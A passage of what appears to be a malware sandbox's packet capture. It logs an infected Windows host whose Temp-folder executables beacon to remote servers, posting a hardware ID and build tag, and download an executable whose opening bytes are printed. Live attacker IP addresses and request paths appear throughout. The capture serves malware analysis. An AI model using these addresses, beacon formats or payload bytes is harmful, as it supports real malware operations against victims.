Nov 7, 2024 06:01:55.449484110 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:01:56.368623018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50064	185.215.113.206	80	4452	C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:56.223901987 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:01:57.278321028 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:01:57.281008005 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build"tale------BGIJDGCAEBFIIECAKFHI--
Nov 7, 2024 06:01:57.571511030 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:01:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50066	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:01:58.040199995 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:01:58.876929998 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:01:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50068	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:00.568989038 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:02:01.468213081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:02:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50070	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:03.650593042 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:02:04.545053005 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:02:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50071	185.215.113.206	80	5180	C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:04.686701059 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:02:05.589935064 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:02:05.623752117 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCAAEBFHJJDAAKFIECGD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 2d 2d 0d 0a Data Ascii: ------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------FCAAEBFHJJDAAKFIECGDContent-Disposition: form-data; name="build"tale------FCAAEBFHJJDAAKFIECGD--
Nov 7, 2024 06:02:05.906145096 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50073	185.215.113.43	80	3452	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:06.178215981 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 7, 2024 06:02:07.083343983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:02:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	50075	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:08.311491966 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 7, 2024 06:02:09.234544039 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:02:09 GMT Content-Type: application/octet-stream Content-Length: 2132992 Last-Modified: Thu, 07 Nov 2024 04:53:51 GMT Connection: keep-alive ETag: "672c47df-208c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 29 d7 20 00 02 00 40 80 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$b}...u^..uk..u_..{v..fz/.{f....uZ..uh..Rich.PEL8ng,r@r) @P.d. p.v@.rsrc .@.idata .@ ).@wltmzozyX@awschmvgprf @.taggant0r"j @
Nov 7, 2024 06:02:09.234587908 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:02:09.234599113 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:02:09.234610081 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:02:09.234622955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 7, 2024 06:02:09.234635115 CET	1236	IN	Data Raw: 88 d8 9e 68 1c 3d 83 30 96 98 64 80 ef ba 86 cb ba 6c 63 02 93 4a c1 ea 04 2f e7 d4 58 1c 71 93 af ea a8 df 16 9b 03 1e 68 3d 9e bb 8d 87 ff e2 2f 5b 8c 42 ec 42 88 02 6d 23 e9 09 ab 3c 71 fa 8b 05 c5 b1 99 93 45 4d 51 b8 21 82 d4 08 ce 55 8c bb Data Ascii: h=0dlcJ/Xqh=/[BBm#<qEMQ!Uaj$)mdscFjOi~r'hC/4lo63d1\CKY3mf7gLj2~L4f~wwM:}S
Nov 7, 2024 06:02:09.234647036 CET	1236	IN	Data Raw: 2e 35 57 05 9a d3 cf dc ca 54 77 94 33 2b f7 8b 38 b7 46 44 8a 47 3e dc c3 ff c9 ed 7a 75 5e aa 62 87 3b 10 c3 0a 31 69 50 40 6e 73 12 3f 2d df ef 50 21 b4 c3 05 4a 34 8e 24 25 ef 9f 83 33 f5 8a f1 05 e6 7c 83 7b 65 dc 92 37 68 11 8d 70 70 a5 c8 Data Ascii: .5WTw3+8FDG>zu^b;1iP@ns?-P!J4$%3\|{e7hpp,-l$ip/3gwQeI61s5lJA7HrgS \[e/b?L+/ tRkHD$s.Cz3o$U0x:DZY654=gTkV'S#
Nov 7, 2024 06:02:09.234658003 CET	1236	IN	Data Raw: ed 21 7f d2 d2 17 78 61 30 66 45 eb 8a fb 77 b2 d6 22 5b 64 ba b2 69 23 c2 2c 6f 88 2a e2 c3 48 1a 27 57 55 9b c7 67 aa 30 f9 92 c2 c5 b3 e3 dd 1e 21 90 bd 5a 01 91 dc 64 a4 6e dd 32 ae 82 6b 12 e0 f7 8d 42 01 78 04 92 4e 7b 68 8e ff 49 d0 d0 3b Data Ascii: !xa0fEw"[di#,oH'WUg0!Zdn2kBxN{hI;Y1$[7p)k3%Fx&w&l,$<['kEL+,fJdz'2S(;(&:`R,OpU";
Nov 7, 2024 06:02:09.234671116 CET	772	IN	Data Raw: aa bf ed b2 56 f3 b9 4c 03 2c 17 ed b5 bd 83 a0 d1 32 44 2c aa 2c bf b0 dc d4 f6 86 78 25 80 c5 93 11 88 b5 9b bc fb 87 f3 25 91 ed a4 2c 87 bc 4e d9 e7 f0 83 ed 60 dd ea 34 6e d8 f6 c7 37 df 1f 04 78 1a 92 55 70 68 eb cb a0 6a 22 2c 6f 68 2a 70 Data Ascii: VL,2D,,x%%,N`4n7xUphj",oh*pd\fmRF}txb0;)}Oh;?f3Ld?A,yODKX!s'!${xz"k^x{X,,?//;^fw3
Nov 7, 2024 06:02:09.234684944 CET	1236	IN	Data Raw: 7e d8 8e 6d f8 ff 77 5c 1d 78 73 94 9b 24 4b e5 1f 79 93 79 94 42 6f 64 9b 24 5b e5 26 87 9f 88 74 c3 70 70 aa da ec ab b6 11 86 6c 26 2c fb d2 d4 0b 8f 84 2b 1d 23 15 aa 2c bf b0 7b d1 b2 70 74 32 e1 7f 7f 32 0b ab 82 2c 44 08 ab d0 91 ec b9 2c Data Ascii: ~mw\xs$KyyBod$[&tppl&,+#,{pt22,D,oFTP94H=,W[p8mWKxg)40>zx"&,CaN!,f_j",o`%ZVh{Kl{x^7PSxf,&r,
Nov 7, 2024 06:02:09.239701986 CET	1236	IN	Data Raw: aa 2c a5 12 da dd 0f 5f ef 3b 2d 6d 0f ff 77 e0 e5 de 6f ec f0 24 6f e5 16 7c 4f 45 b3 2b 21 dd 86 34 5a d8 36 b2 3d e0 72 2c 80 bc 93 e1 a7 28 f3 78 1f b2 9b fb 6f ad 9e 53 e3 ac 86 ec 1e dd ba c7 26 c4 87 a7 f8 82 02 01 78 44 93 36 7b 7c 2a f0 Data Ascii: ,_;-mwo$o\|OE+!4Z6=r,(xoS&xD6{\|*?GA`qtOzi2E/>1G[?izozf~Z:t6ecO}}pOsitJag6>mk~bjTV?%

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	50076	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:08.599711895 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 45 37 36 42 38 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12E76B85982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 7, 2024 06:02:09.514831066 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 07 Nov 2024 05:02:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	50077	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 06:02:12.443890095 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 06:02:13.350836992 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 7, 2024 06:02:13.445930004 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAEBAFBGIDHCBFHIECF Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 33 42 45 35 31 36 32 36 46 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="hwid"23BE51626FE5845770397------AAAEBAFBGIDHCBFHIECFContent-Disposition: form-data; name="build"tale------AAAEBAFBGIDHCBFHIECF--
Nov 7, 2024 06:02:14.706372976 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Nov 7, 2024 06:02:14.706562996 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Nov 7, 2024 06:02:14.706581116 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Nov 7, 2024 06:02:14.706862926 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 05:02:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:00:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wgGm44hxrpaYkVX&MD=H1AFC5AF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-07 05:00:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 968391b3-fe1a-4fcb-927b-109293cb451b MS-RequestId: d3f23957-8d06-44db-afb6-24ba66761e44 MS-CV: bzs4gw9pAkKciUNZ.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 07 Nov 2024 05:00:18 GMT Connection: close Content-Length: 24490
2024-11-07 05:00:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-07 05:00:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 05:00:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wgGm44hxrpaYkVX&MD=H1AFC5AF HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-07 05:00:58 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 8a3beff0-600e-42d8-8430-00fbbdeb60c2 MS-RequestId: 343dba41-d41d-4397-ac3c-8c7d5667cbf6 MS-CV: wJxo6vYxa0GnVLu+.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 07 Nov 2024 05:00:58 GMT Connection: close Content-Length: 30005
